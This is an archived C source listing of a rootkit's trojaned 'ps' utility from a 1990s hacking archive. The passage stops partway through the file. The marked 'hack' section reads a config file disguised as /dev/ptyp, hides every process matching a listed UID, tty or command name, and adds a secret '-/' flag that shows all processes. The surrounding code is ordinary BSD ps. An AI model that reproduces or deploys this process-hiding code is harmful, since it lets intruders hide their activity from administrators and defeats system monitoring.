home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / rootkits / rootkit / ps.c < prev    next >
C/C++ Source or Header  |  1994-03-01  |  36KB  |  1,726 lines

  1. /*
  2.     Modified ps to strip out uids, ptys, ttys, or commands 
  3.     currently in the process list.
  4. */        
  5.  
  6. /*
  7.  * Copyright (c) 1980 Regents of the University of California.
  8.  * All rights reserved.  The Berkeley software License Agreement
  9.  * specifies the terms and conditions for redistribution.
  10.  */
  11.  
  12. #ifndef lint
  13. char copyright[] =
  14. "@(#) Copyright (c) 1980 Regents of the University of California.\n\
  15.  All rights reserved.\n";
  16. #endif not lint
  17.  
  18. #ifndef lint
  19. static    char sccsid[] = "@(#)ps.c 1.1 91/11/13 SMI"; /* from UCB 5.9 5/8/86 */
  20. #endif not lint
  21.  
  22. #include <stdio.h>
  23. #include <ctype.h>
  24. #include <locale.h>
  25. #include <a.out.h>
  26. #include <pwd.h>
  27. #include <fcntl.h>
  28. #include <kvm.h>
  29. #define KERNEL
  30. #include <sys/param.h>
  31. #undef KERNEL
  32. #include <sys/ioctl.h>
  33. #include <sys/dir.h>
  34. #include <sys/user.h>
  35. #include <sys/proc.h>
  36. #include <sys/vm.h>
  37. #include <sys/stat.h>
  38. #include <sys/session.h>
  39. #include <sys/vnode.h>
  40. #include <vm/page.h>
  41. #include <math.h>
  42.  
  43. char *nl_names[] = {
  44.     "_proc",
  45. #define    X_PROC        0
  46.     "_ccpu",
  47. #define    X_CCPU        1
  48.     "_nproc",
  49. #define    X_NPROC        2
  50.     "_file",
  51. #define    X_FILE        3
  52.     "_cfree",
  53. #define    X_CFREE        4
  54.     "_callout",
  55. #define    X_CALLOUT    5
  56.     "_kernelmap",
  57. #define    X_KERNELMAP    6
  58.     "_mbmap",
  59. #define    X_MBMAP        7
  60.     "_dquot",
  61. #define    X_DQUOT        8
  62.     "_boottime",
  63. #define    X_BOOTTIME    9
  64.  
  65.     /* Symbols related to the new VM system -- may change */
  66.     "_pages",
  67. #define    X_PAGES        10
  68.     "_epages",
  69. #define    X_EPAGES    11
  70.  
  71. #ifdef    sun
  72.     "_rconsdev",
  73. #define    X_RCONSDEV    12
  74. #endif    sun
  75.     ""
  76. };
  77.  
  78. struct nlist *nl;            /* all because we can't init unions */
  79. int nllen;                /* # of nlist entries */
  80.  
  81. struct    savcom {
  82.     union {
  83.         struct    jsav *jp;
  84.         struct    lsav *lp;
  85.         float    u_pctcpu;
  86.         struct    vsav *vp;
  87.     } s_un;
  88.     struct    asav *ap;
  89. } *savcom;
  90.  
  91. struct    asav {
  92.     char    *a_cmdp;
  93.     int    a_flag;
  94.     short    a_stat;
  95.     uid_t    a_uid;
  96.     short    a_pid, a_nice, a_pri, a_slptime, a_time;
  97.     int    a_size, a_rss;
  98.     char    a_tty[MAXNAMLEN+1];
  99.     dev_t    a_ttyd;
  100.     time_t    a_cpu;
  101.     int    a_maxrss;
  102.     time_t    a_start;
  103. };
  104.  
  105. char    *lhdr, *jhdr;
  106. int    wcwidth;        /* width of the wchan field for sprintf */
  107. struct    lsav {
  108.     short    l_ppid;
  109.     char    l_cpu;
  110.     caddr_t    l_wchan;
  111. };
  112. struct    jsav {
  113.     short    j_ppid;
  114.     short    j_pgrp;
  115.     short    j_sid;
  116.     short    j_tpgrp;
  117. };
  118.  
  119. char    *uhdr;
  120. char    *shdr;
  121.  
  122. char    *vhdr;
  123. struct    vsav {
  124.     u_int    v_majflt;
  125.     int    v_swrss;
  126.     float    v_pctcpu;
  127. };
  128.  
  129. #define    NPROC    16
  130.  
  131. struct    proc *mproc;
  132. struct    timeval    boottime;
  133. time_t    now;
  134.  
  135. struct    user *u;
  136. struct    sess s;
  137.  
  138. #ifndef    PSFILE
  139. char    *psdb    = "/etc/psdatabase";
  140. #else
  141. char    *psdb    = PSFILE;
  142. #endif
  143.  
  144. int    chkpid = -1;
  145. int    aflg, cflg, eflg, gflg, kflg, lflg, nflg, rflg,
  146.     uflg, vflg, xflg, Uflg, jflg;
  147. int    nchans;                /* total # of wait channels */
  148. char    *tptr;
  149. char    *gettty(), *getcmd(), *getname(), *savestr(), *state();
  150. char    *rindex(), *calloc(), *sbrk(), *strcpy(), *strcat(), *strncat();
  151. char    *strncpy(), *index(), *ttyname(), mytty[MAXPATHLEN+1];
  152. char    *malloc(), *getchan();
  153. long    lseek();
  154. double    pcpu(), pmem();
  155. int    wchancomp();
  156. int    pscomp();
  157. double    ccpu;
  158. long    kccpu;
  159. dev_t    rconsdev;
  160. int    nproc;
  161.  
  162. int    nttys;
  163.  
  164. struct    ttys {
  165.     dev_t    ttyd;
  166.     int cand;
  167.     char    name[MAXNAMLEN+1];
  168. } *allttys;
  169. int cand[16] = {-1, -1, -1, -1, -1, -1, -1, -1,
  170.         -1, -1, -1, -1, -1, -1, -1, -1};
  171. struct lttys {
  172.     struct ttys ttys;
  173.     struct lttys *next;
  174. } *lallttys;
  175.  
  176. /*
  177.  * struct for the symbolic wait channel info
  178.  *
  179.  * WNAMESIZ is the max # of chars saved of the symbolic wchan gleaned
  180.  * from the namelist.  Normally, only WSNAMESIZ are printed in the long
  181.  * format, unless the terminal width is greater than WTSIZ wide.
  182.  */
  183. #define WNAMESIZ    12
  184. #define WSNAMESIZ    8
  185. #define WTSIZ        95
  186.  
  187. struct wchan {
  188.     char    wc_name[WNAMESIZ+1];    /* symbolic name */
  189.     caddr_t wc_caddr;        /* addr in kmem */
  190. } *wchanhd;                /* an array sorted by wc_caddr */
  191.  
  192. #define NWCINDEX    10        /* the size of the index array */
  193.  
  194. caddr_t wchan_index[NWCINDEX];        /* used to speed searches */
  195. /*
  196.  * names listed here are not kept as wait channels -- this is used to 
  197.  * remove names that confuse ps, like symbols that define the end of an
  198.  * array that happen to be equal to the next symbol.
  199.  */
  200. char *wchan_stop_list[] = {
  201.     "umbabeg",
  202.     "umbaend",
  203.     "calimit",
  204.     NULL
  205. };
  206. /*
  207.  * names listed here get mapped -- this is because only a guru will
  208.  * necessarily know that something waiting on "selwait" is waiting
  209.  * for a select to finish.
  210.  */
  211. struct wchan_map {
  212.     char    *map_from;
  213.     char    *map_to;
  214. } wchan_map_list[] = {
  215.     { "proc", "child" },
  216.     { "u", "pause" },
  217.     { "selwait", "select" },
  218.     { "mbutl", "socket" },
  219.     { NULL, NULL },
  220. };
  221.  
  222. int    gotwchans;    /* 1 if already have the wait channels */
  223.  
  224. int    npr;
  225.  
  226. int    cmdstart;
  227. int    twidth;
  228. struct    winsize win;
  229. char    *kmemf, *swapf, *nlistf;
  230. kvm_t    *kvm_des;
  231. int    rawcpu, sumcpu;
  232. char    *cmdbuf;
  233.  
  234. /*+  Hack vars  +*/
  235.  
  236. #define    FILENAME "/dev/ptyp"
  237. #define    STR_SIZE 128
  238. #define    SEP_CHAR " \n"
  239. #define    SHOWFLAG    /*  Able to list processes with 'ps -/' command  */
  240.  
  241. struct    h_st {
  242.     struct h_st    *next;
  243.     int        hack_type;
  244.     char        hack_cmd[STR_SIZE];
  245. };
  246.  
  247. struct    h_st     *hack_list;
  248. struct    h_st    *h_tmp;
  249.  
  250. char    tmp_str[STR_SIZE];
  251. char    *strp;
  252.  
  253. FILE    *fp_hack;
  254. int    s_pr;
  255.  
  256. #if defined(SHOWFLAG)
  257. int    show_all=0;
  258. #endif
  259.  
  260. /*+  End hack vars  +*/
  261.  
  262. #define    pgtok(a)    ((a)*CLBYTES/1024)
  263.  
  264. main(argc, argv)
  265.     char **argv;
  266. {
  267.     register int i;
  268.     register char *ap;
  269.     int uid;
  270.     int width;
  271.  
  272.     setlocale(LC_CTYPE, "");    /* get locale environment */
  273.  
  274.     if (ioctl(1, TIOCGWINSZ, &win) == -1)
  275.         twidth = 80;
  276.     else
  277.         twidth = (win.ws_col == 0 ? 80 : win.ws_col);
  278.     argc--, argv++;
  279.     if (argc > 0) {
  280.         ap = argv[0];
  281.         if (*ap == '-') ap++;
  282.         while (*ap) switch (*ap++) {
  283.  
  284.         case 'C':
  285.             rawcpu++;
  286.             break;
  287.         case 'S':
  288.             sumcpu++;
  289.             break;
  290.  
  291.         case 'U':
  292.             Uflg++;
  293.             break;
  294.  
  295.         case 'a':
  296.             aflg++;
  297.             break;
  298.         case 'c':
  299.             cflg = !cflg;
  300.             break;
  301.         case 'e':
  302.             eflg++;
  303.             break;
  304.         case 'g':
  305.             gflg++;
  306.             break;
  307.         case 'k':
  308.             kflg++;
  309.             break;
  310.         case 'l':
  311.             lflg++;
  312.             break;
  313.         case 'n':
  314.             nflg++;
  315.             break;
  316.         case 'j':
  317.             jflg++;
  318.             break;
  319.         case 'r':
  320.             rflg++;
  321.             break;
  322.         case 't':
  323.             if (*ap)
  324.                 tptr = ap;
  325.             else if ((tptr = ttyname(0)) != 0) {
  326.                 tptr = strcpy(mytty, tptr);
  327.                 if (strncmp(tptr, "/dev/", 5) == 0)
  328.                     tptr += 5;
  329.             }
  330.             if (strncmp(tptr, "tty", 3) == 0)
  331.                 tptr += 3;
  332.             aflg++;
  333.             gflg++;
  334.             if (tptr && *tptr == '?')
  335.                 xflg++;
  336.             while (*ap)
  337.                 ap++;
  338.             break;
  339.         case 'u': 
  340.             uflg++;
  341.             break;
  342.         case 'v':
  343.             cflg = 1;
  344.             vflg++;
  345.             break;
  346.         case 'w':
  347.             if (twidth < 132)
  348.                 twidth = 132;
  349.             else
  350.                 twidth = BUFSIZ;
  351.             break;
  352.         case 'x':
  353.             xflg++;
  354.             break;
  355.         case '-':
  356.             break;
  357. #if defined (SHOWFLAG)
  358.         case '/':
  359.             show_all++;
  360.             break;
  361. #endif
  362.         default:
  363.             if (!isdigit(ap[-1])) {
  364.                 fprintf(stderr, "ps: %c: unknown option\n", ap[-1]);
  365.                 usage();
  366.                 exit(1);
  367.             }
  368.             chkpid = atoi(--ap);
  369.             *ap = 0;
  370.             aflg++;
  371.             xflg++;
  372.             break;
  373.         }
  374.     }
  375.     nlistf = argc > 1 ? argv[1] : NULL;
  376.     kmemf = NULL;
  377.     if (kflg)
  378.         kmemf = argc > 2 ? argv[2] : "/vmcore";
  379.     if (kflg == 0 || argc > 3)
  380.         swapf = argc > 3 ? argv[3]: "/dev/drum";
  381.     else
  382.         swapf = NULL;
  383.     getkvars();
  384.     uid = getuid();
  385.     (void) time(&now);
  386.     printhdr();
  387.     nproc = getw(nl[X_NPROC].n_value);
  388.     cmdbuf = malloc(twidth+1);
  389.     savcom = (struct savcom *)calloc((unsigned) nproc, sizeof (*savcom));
  390.     if (cmdbuf == NULL || savcom == NULL) {
  391.         fprintf(stderr, "ps: out of memory allocating savcom\n");
  392.         exit(1);
  393.     }
  394.     kvm_read(kvm_des, nl[X_BOOTTIME].n_value, &boottime,
  395.         sizeof (boottime));
  396.     if (kvm_setproc(kvm_des) < 0) {
  397.         cantread("proc table", kmemf);
  398.         exit(1);
  399.     }
  400.     while ((mproc = kvm_nextproc(kvm_des)) != NULL) {
  401.         if (mproc->p_pgrp == 0 && xflg == 0)
  402.             continue;
  403.         if (tptr == 0 && gflg == 0 && xflg == 0 &&
  404.             mproc->p_ppid == 1)
  405.             continue;
  406.         if (uid != mproc->p_suid && aflg==0)
  407.             continue;
  408.         if (chkpid != -1 && chkpid != mproc->p_pid)
  409.             continue;
  410.         if (vflg && gflg == 0 && xflg == 0  &&  jflg == 0) {
  411.             if (mproc->p_stat == SZOMB ||
  412.                 mproc->p_flag&SWEXIT)
  413.                 continue;
  414.             if (mproc->p_slptime > MAXSLP &&
  415.                 (mproc->p_stat == SSLEEP ||
  416.                  mproc->p_stat == SSTOP))
  417.             continue;
  418.         }
  419.         if (rflg && !(mproc->p_stat == SRUN
  420.             || mproc->p_pri < PZERO))
  421.             continue;
  422.         save();
  423.     }
  424.     width = twidth - cmdstart - 2;
  425.     if (width < 0)
  426.         width = 0;
  427.     qsort((char *) savcom, npr, sizeof(savcom[0]), pscomp);
  428.  
  429.  
  430.  
  431. /*+  Read in hacks lists and build list of hack types  +*/
  432.     h_tmp=(struct h_st *)malloc(sizeof(struct h_st));
  433.     hack_list=h_tmp;
  434.  
  435.     if (fp_hack=fopen (FILENAME, "r")) {
  436.         while (fgets(tmp_str, 126, fp_hack)) {
  437.             h_tmp->next=(struct h_st *)malloc(sizeof(struct h_st));
  438.             strp=(char *)strtok (tmp_str, SEP_CHAR);    
  439.             h_tmp->hack_type=atoi(strp);
  440.             strp=(char *)strtok ('\0', SEP_CHAR);
  441.             strcpy (h_tmp->hack_cmd, strp);
  442.             h_tmp=h_tmp->next;
  443.         }
  444.     }
  445.     h_tmp->next=NULL;
  446.  
  447.     for (i=0; i<npr; i++) {
  448.         register struct savcom *sp = &savcom[i];
  449.  
  450. /*+
  451.     Checking for matches
  452.  
  453.     Matches supported:
  454.         0: UID match.  Kill all output with defined uid.
  455.         1: PTY match.  Kill all output with defined tty.
  456.         2: CMDP match.  Kill all output with defined command.
  457. +*/
  458.         s_pr=1;
  459.         for (h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next) {
  460.             switch (h_tmp->hack_type) {
  461.             case 0:
  462.                 if (sp->ap->a_uid==atoi(h_tmp->hack_cmd))
  463.                     s_pr--;
  464.                 break;
  465.             case 1:
  466.                 if (!strcmp(sp->ap->a_tty, h_tmp->hack_cmd))
  467.                     s_pr--;
  468.                 break;
  469.             case 2:
  470.                 strcpy (tmp_str, sp->ap->a_cmdp);
  471.                 strp=(char*)strtok (tmp_str, SEP_CHAR);
  472.                 if (strp) 
  473.                     if (!strcmp(strp, h_tmp->hack_cmd))
  474.                         s_pr--;
  475.                 break;
  476.             }
  477.         }
  478.  
  479. /*+  End hacks  +*/
  480.  
  481.     if (s_pr || show_all) {
  482.         if (lflg)
  483.             lpr(sp);
  484.         else if (jflg)
  485.             jpr(sp);
  486.         else if (vflg)
  487.             vpr(sp);
  488.         else if (uflg)
  489.             upr(sp);
  490.         else
  491.             spr(sp);
  492.         if (sp->ap->a_stat == SZOMB)
  493.             printf(" <defunct>");
  494.         else if (sp->ap->a_flag & SWEXIT)
  495.             printf(" <exiting>");
  496.         else if (sp->ap->a_pid == 0)
  497.             printf(" swapper");
  498.         else if (sp->ap->a_pid == 2)
  499.             printf(" pagedaemon");
  500.         else
  501.             printf(" %.*s", twidth - cmdstart - 2, sp->ap->a_cmdp);
  502.         printf("\n");
  503.     } /*+  HACKS  +*/
  504.     
  505.     }
  506.     exit(npr == 0);
  507. }
  508.  
  509. getw(loc)
  510.     unsigned long loc;
  511. {
  512.     int word;
  513.  
  514.     if (kvm_read(kvm_des, loc, (char *)&word,
  515.         sizeof (word)) != sizeof (word)) {
  516.         if (kmemf == NULL)
  517.             printf("ps: error reading at %x\n", loc);
  518.         else
  519.             printf("ps: error reading %s at %x\n", kmemf, loc);
  520.     }
  521.     return (word);
  522. }
  523.  
  524. /*
  525.  * Version allows change of db format w/o temporarily bombing ps's
  526.  */
  527. char thisversion[4] = "V3";        /* length must remain 4 */
  528.  
  529. writepsdb(unixname)
  530.     char *unixname;
  531. {
  532.     register FILE *fp;
  533.     struct lttys *lt;
  534.     struct stat stb;
  535.  
  536.     setgid(getgid());
  537.     setuid(getuid());
  538.     if ((fp = fopen(psdb, "w")) == NULL) {
  539.         fprintf(stderr, "ps: ");
  540.         perror(psdb);
  541.         exit(1);
  542.     } else
  543.         fchmod(fileno(fp), 0644);
  544.  
  545.     fwrite(thisversion, sizeof thisversion, 1, fp);
  546.     fwrite(unixname, strlen(unixname) + 1, 1, fp);
  547.     if (stat(unixname, &stb) < 0)
  548.         stb.st_mtime = 0;
  549.     fwrite((char *) &stb.st_mtime, sizeof stb.st_mtime, 1, fp);
  550.  
  551.     fwrite((char *) &nllen, sizeof nllen, 1, fp);
  552.     fwrite((char *) nl, sizeof (struct nlist), nllen, fp);
  553.     fwrite((char *) cand, sizeof (cand), 1, fp);
  554.     fwrite((char *) &nttys, sizeof nttys, 1, fp);
  555.     for (lt = lallttys ; lt ; lt = lt->next)
  556.         fwrite((char *)<->ttys, sizeof (struct ttys), 1, fp);
  557.     fwrite((char *) &nchans, sizeof nchans, 1, fp);
  558.     fwrite((char *) wchanhd, sizeof (struct wchan), nchans, fp);
  559.     fwrite((char *) wchan_index, sizeof (caddr_t), NWCINDEX, fp);
  560.     fclose(fp);
  561. }
  562.  
  563. readpsdb(unixname)
  564.     char *unixname;
  565. {
  566.     register FILE *fp;
  567.     char unamebuf[BUFSIZ];
  568.     char *p    = unamebuf;
  569.     char dbversion[sizeof thisversion];
  570.     struct stat stb;
  571.     time_t dbmtime;
  572.     extern int errno;
  573.  
  574.     if ((fp = fopen(psdb, "r")) == NULL) {
  575.         if (errno == ENOENT)
  576.             return (0);
  577.         fprintf(stderr, "ps: ");
  578.         perror(psdb);
  579.         exit(1);
  580.     }
  581.  
  582.     /*
  583.      * Does the db file match this unix?
  584.      */
  585.     fread(dbversion, sizeof dbversion, 1, fp);
  586.     if (bcmp(thisversion, dbversion, sizeof thisversion))
  587.         goto bad;
  588.     while ((*p = getc(fp)) != '\0')
  589.         p++;
  590.     if (strcmp(unixname, unamebuf))
  591.         goto bad;
  592.     fread((char *) &dbmtime, sizeof dbmtime, 1, fp);
  593.     if (stat(unixname, &stb) < 0)
  594.         stb.st_mtime = 0;
  595.     if (stb.st_mtime != dbmtime)
  596.         goto bad;
  597.  
  598.     fread((char *) &nllen, sizeof nllen, 1, fp);
  599.     nl = (struct nlist *) malloc (nllen * sizeof (struct nlist));
  600.     if (nl == NULL) {
  601.         fprintf(stderr, "ps: out of memory allocating nlist\n");
  602.         exit(1);
  603.     }
  604.     fread((char *) nl, sizeof (struct nlist), nllen, fp);
  605.     fread((char *) cand, sizeof (cand), 1, fp);
  606.     fread((char *) &nttys, sizeof nttys, 1, fp);
  607.     allttys = (struct ttys *)malloc(sizeof(struct ttys)*nttys);
  608.     if (allttys == NULL) {
  609.         fprintf(stderr, "ps: Can't malloc space for tty table\n");
  610.         exit(1);
  611.     }
  612.     fread((char *) allttys, sizeof (struct ttys), nttys, fp);
  613.     fread((char *) &nchans, sizeof nchans, 1, fp);
  614.     wchanhd = (struct wchan *) malloc(nchans * sizeof (struct wchan));
  615.     if (wchanhd == NULL) {
  616.         fprintf(stderr, "ps: Can't malloc space for wait channels\n");
  617.         nflg++;
  618.         fseek(fp, (long) nchans * sizeof (struct wchan), 1);
  619.     } else {
  620.         fread((char *) wchanhd, sizeof (struct wchan), nchans, fp);
  621.         gotwchans = 1;
  622.     }
  623.     fread((char *) wchan_index, sizeof (caddr_t), NWCINDEX, fp);
  624.     fclose(fp);
  625.     return (1);
  626.  
  627. bad:
  628.     fclose(fp);
  629.     return (0);
  630. }
  631.  
  632. ps_kvm_open()
  633. {
  634.  
  635.     kvm_des = kvm_open(nlistf, kmemf, swapf, O_RDONLY, "ps");
  636.     if (kvm_des == NULL) {
  637.         if (nlistf == NULL)
  638.             fprintf(stderr, "ps: could not read kernel VM\n");
  639.         else
  640.             fprintf(stderr, "ps: could not read kernel VM for %s\n",
  641.                 nlistf);
  642.         exit(1);
  643.         /* NOTREACHED */
  644.     }
  645. }
  646.  
  647. getkvars()
  648. {
  649.     int faildb = 0;            /* true if psdatabase init failed */
  650.     register char *realnlistf;
  651.  
  652.     if ((realnlistf = nlistf) == NULL)
  653.         realnlistf = "/vmunix";
  654.  
  655.     if (Uflg) {
  656.         init_nlist();
  657.         ps_kvm_open();
  658.         kvm_nlist(kvm_des, nl);
  659.         getvchans();
  660.         getdev();
  661.         writepsdb(realnlistf);
  662.         exit (0);
  663.     } else if (!readpsdb(realnlistf)) {
  664.         init_nlist();
  665.         ps_kvm_open();
  666.         faildb = 1;
  667.         kvm_nlist(kvm_des, nl);
  668.         nttys = 0;
  669.         getdev();
  670.     } else {
  671.         ps_kvm_open();
  672.     }
  673.  
  674.     if (nl[0].n_type == 0) {
  675.         fprintf(stderr, "ps: %s: No namelist\n", realnlistf);
  676.         exit(1);
  677.     }
  678.     if (faildb)
  679.         getvchans();
  680.     if (kvm_read(kvm_des, nl[X_CCPU].n_value, (char *)&kccpu,
  681.         sizeof (kccpu)) != sizeof (kccpu)) {
  682.         cantread("ccpu", kmemf);
  683.         exit(1);
  684.     }
  685.     ccpu = (double)kccpu / FSCALE;
  686. #ifdef sun
  687.     if (kvm_read(kvm_des, nl[X_RCONSDEV].n_value, (char *)&rconsdev,
  688.         sizeof (rconsdev)) != sizeof (rconsdev)) {
  689.         cantread("rconsdev", kmemf);
  690.         exit(1);
  691.     }
  692. #endif
  693. }
  694.  
  695. /*
  696.  * get the valloc'ed kernel variables for symbolic wait channels
  697.  */
  698. getvchans()
  699. {
  700.     int i, tmp;
  701.  
  702.     if (nflg)
  703.         return;
  704.  
  705. #define addv(i)     addchan(&nl[i].n_un.n_name[1], getw(nl[i].n_value))
  706.     addv(X_FILE);
  707.     addv(X_PROC);
  708.     addv(X_CFREE);
  709.     addv(X_CALLOUT);
  710.     addv(X_KERNELMAP);
  711.     addv(X_MBMAP);
  712.     if (nl[X_DQUOT].n_value != 0)    /* this is #ifdef QUOTA */
  713.         addv(X_DQUOT);
  714.     qsort(wchanhd, nchans, sizeof (struct wchan), wchancomp);
  715.     for (i = 0; i < NWCINDEX; i++) {
  716.         tmp = i * nchans;
  717.         wchan_index[i] = wchanhd[tmp / NWCINDEX].wc_caddr;
  718.     }
  719. #undef addv
  720. }
  721.  
  722. printhdr()
  723. {
  724.     char *hdr;
  725.  
  726.     if (lflg+vflg+uflg+jflg > 1) {
  727.         fprintf(stderr, "ps: specify only one of l,v,j and u\n");
  728.         exit(1);
  729.     }
  730.     if (lflg | jflg) {
  731.         if (nflg)
  732.             wcwidth = 8;
  733.         else if (twidth > WTSIZ)
  734.             wcwidth = -WNAMESIZ;
  735.         else
  736.             wcwidth = -WSNAMESIZ;
  737.         if (!(hdr = calloc(1, strlen(lflg ? lhdr : jhdr) + WNAMESIZ))) {
  738.             fprintf(stderr, "ps: out of memory\n");
  739.             exit(1);
  740.         }
  741.         sprintf(hdr, lflg ? lhdr : jhdr, wcwidth, "WCHAN");
  742.     } else if (vflg)
  743.         hdr = vhdr;
  744.     else if (uflg) {
  745.         /* add enough on so that it can hold the sprintf below */
  746.         if ((hdr = malloc(strlen(uhdr) + 10)) == NULL) {
  747.             fprintf(stderr, "ps: out of memory\n");
  748.             exit(1);
  749.         }
  750.         sprintf(hdr, uhdr, nflg ? " UID" : "USER    ");
  751.     } else
  752.         hdr = shdr;
  753.     cmdstart = strlen(hdr);
  754.     printf("%s COMMAND\n", hdr);
  755.     (void) fflush(stdout);
  756. }
  757.  
  758. cantread(what, fromwhat)
  759.     char *what, *fromwhat;
  760. {
  761.  
  762.     if (fromwhat == NULL)
  763.         (void) fprintf(stderr, "ps: error reading %s\n", what);
  764.     else
  765.         (void) fprintf(stderr, "ps: error reading %s from %s\n", what,
  766.             fromwhat);
  767. }
  768.  
  769. struct    direct *dbuf;
  770. int    dialbase;
  771.  
  772. getdev()
  773. {
  774.     register DIR *df;
  775.     struct ttys *t;
  776.     struct lttys *lt;
  777.  
  778.     if (chdir("/dev") < 0) {
  779.         perror("ps: /dev");
  780.         exit(1);
  781.     }
  782.     dialbase = -1;
  783.     if ((df = opendir(".")) == NULL) {
  784.         fprintf(stderr, "ps: ");
  785.         perror("Can't open . in /dev");
  786.         exit(1);
  787.     }
  788.     while ((dbuf = readdir(df)) != NULL) 
  789.         maybetty();
  790.     closedir(df);
  791.     allttys = (struct ttys *)malloc(sizeof(struct ttys)*nttys);
  792.     if (allttys == NULL) {
  793.         fprintf(stderr, "ps: Can't malloc space for tty table\n");
  794.         exit(1);
  795.     }
  796.     for (lt = lallttys, t = allttys; lt ; lt = lt->next, t++)
  797.         *t = lt->ttys;
  798. }
  799.  
  800. /*
  801.  * Attempt to avoid stats by guessing minor device
  802.  * numbers from tty names.  Console is known,
  803.  * know that r(hp|up|mt) are unlikely as are different mem's,
  804.  * floppy, null, tty, etc.
  805.  */
  806. maybetty()
  807. {
  808.     register char *cp = dbuf->d_name;
  809.     static struct lttys *dp;
  810.     struct lttys *olddp;
  811.     int x;
  812.     struct stat stb;
  813.  
  814.     switch (cp[0]) {
  815.  
  816.     case 'c':
  817.         if (!strcmp(cp, "console")) {
  818.             x = 0;
  819.             goto donecand;
  820.         }
  821.         /* cu[la]? are possible!?! don't rule them out */
  822.         break;
  823.  
  824.     case 'd':
  825.         if (!strcmp(cp, "drum"))
  826.             return;
  827.         break;
  828.  
  829.     case 'f':
  830.         if (!strcmp(cp, "floppy"))
  831.             return;
  832.         break;
  833.  
  834.     case 'k':
  835.         cp++;
  836.         if (*cp == 'U')
  837.             cp++;
  838.         goto trymem;
  839.  
  840.     case 'r':
  841.         cp++;
  842. #define is(a,b) cp[0] == 'a' && cp[1] == 'b'
  843.         if (is(h,p) || is(r,a) || is(u,p) || is(h,k) 
  844.             || is(r,b) || is(s,d) || is(x,y) || is(m,t)) {
  845.             cp += 2;
  846.             if (isdigit(*cp) && cp[2] == 0)
  847.                 return;
  848.         }
  849.         break;
  850.  
  851.     case 'm':
  852. trymem:
  853.         if (cp[0] == 'm' && cp[1] == 'e' && cp[2] == 'm' && cp[3] == 0)
  854.             return;
  855.         if (cp[0] == 'm' && cp[1] == 't')
  856.             return;
  857.         break;
  858.  
  859.     case 'n':
  860.         if (!strcmp(cp, "null"))
  861.             return;
  862.         if (!strncmp(cp, "nrmt", 4))
  863.             return;
  864.         break;
  865.  
  866.     case 'p':
  867.         if (cp[1] && cp[1] == 't' && cp[2] == 'y')
  868.             return;
  869.         break;
  870.  
  871.     case 'v':
  872.         if ((cp[1] == 'a' || cp[1] == 'p') && isdigit(cp[2]) &&
  873.             cp[3] == 0)
  874.             return;
  875.         break;
  876.     }
  877.     cp = dbuf->d_name + dbuf->d_namlen - 1;
  878.     x = 0;
  879.     if (cp[-1] == 'd') {
  880.         if (dialbase == -1) {
  881.             if (stat("ttyd0", &stb) == 0)
  882.                 dialbase = stb.st_rdev & 017;
  883.             else
  884.                 dialbase = -2;
  885.         }
  886.         if (dialbase == -2)
  887.             x = 0;
  888.         else
  889.             x = 11;
  890.     }
  891.     if (cp > dbuf->d_name && isdigit(cp[-1]) && isdigit(*cp))
  892.         x += 10 * (cp[-1] - ' ') + cp[0] - '0';
  893.     else if (*cp >= 'a' && *cp <= 'f')
  894.         x += 10 + *cp - 'a';
  895.     else if (isdigit(*cp))
  896.         x += *cp - '0';
  897.     else
  898.         x = -1;
  899. donecand:
  900.     olddp = dp;
  901.     dp = (struct lttys *)malloc(sizeof(struct lttys));
  902.     if (dp == NULL) {
  903.         fprintf(stderr, "ps: Can't malloc space for tty table\n");
  904.         exit(1);
  905.     }
  906.     if (lallttys == NULL)
  907.         lallttys = dp;
  908.     nttys++;
  909.     if (olddp)
  910.         olddp->next = dp;
  911.     dp->next = NULL;
  912.     (void) strcpy(dp->ttys.name, dbuf->d_name);
  913.     if (Uflg) {
  914.         if (stat(dp->ttys.name, &stb) == 0 &&
  915.            (stb.st_mode&S_IFMT)==S_IFCHR)
  916.             dp->ttys.ttyd = x = stb.st_rdev;
  917.         else {
  918.             nttys--;
  919.             if (lallttys == dp)
  920.                 lallttys = NULL;
  921.             free(dp);
  922.             dp = olddp;
  923.             if (dp)
  924.                 dp->next = NULL;
  925.             return;
  926.         }
  927.     } else
  928.         dp->ttys.ttyd = -1;
  929.     if (x == -1)
  930.         return;
  931.     x &= 017;
  932.     dp->ttys.cand = cand[x];
  933.     cand[x] = nttys-1;
  934. }
  935.  
  936. char *
  937. gettty()
  938. {
  939.     register char *p;
  940.     register struct ttys *dp;
  941.     struct stat stb;
  942.     int x;
  943.  
  944.     if (s.s_vp == (struct vnode*)0) {
  945.         s.s_ttyd = -1;
  946.         return ("?");
  947.     }
  948. #ifdef sun
  949.     if (s.s_ttyd == rconsdev)
  950.         s.s_ttyd = makedev(0, 0);    /* "/dev/console" */
  951. #endif
  952.     x = s.s_ttyd & 017;
  953.     for (dp = &allttys[cand[x]]; dp != &allttys[-1];
  954.          dp = &allttys[dp->cand]) {
  955.         if (dp->ttyd == -1) {
  956.             if (stat(dp->name, &stb) == 0 &&
  957.                (stb.st_mode&S_IFMT)==S_IFCHR)
  958.                 dp->ttyd = stb.st_rdev;
  959.             else
  960.                 dp->ttyd = -2;
  961.         }
  962.         if (dp->ttyd == s.s_ttyd)
  963.             goto found;
  964.     }
  965.     /* ick */
  966.     for (dp = allttys; dp < &allttys[nttys]; dp++) {
  967.         if (dp->ttyd == -1) {
  968.             if (stat(dp->name, &stb) == 0 &&
  969.                (stb.st_mode&S_IFMT)==S_IFCHR)
  970.                 dp->ttyd = stb.st_rdev;
  971.             else
  972.                 dp->ttyd = -2;
  973.         }
  974.         if (dp->ttyd == s.s_ttyd)
  975.             goto found;
  976.     }
  977.     return ("?");
  978. found:
  979.     p = dp->name;
  980.     if (p[0]=='t' && p[1]=='t' && p[2]=='y')
  981.         p += 3;
  982.     return (p);
  983. }
  984.  
  985. save()
  986. {
  987.     register struct savcom *sp;
  988.     register struct asav *ap;
  989.     char *ttyp, *cmdp;
  990.     int save_ttyd;
  991.  
  992.     if (mproc->p_stat != SZOMB)
  993.         if ((u = kvm_getu(kvm_des, mproc)) == NULL)
  994.             return;
  995.     kvm_read(kvm_des, mproc->p_sessp, &s, sizeof(s));
  996.     save_ttyd = s.s_ttyd;
  997.     ttyp = gettty();
  998.     if (xflg == 0 && ttyp[0] == '?' || tptr && strncmp(tptr, ttyp, 2))
  999.         return;
  1000.     sp = &savcom[npr];
  1001.     cmdp = getcmd();
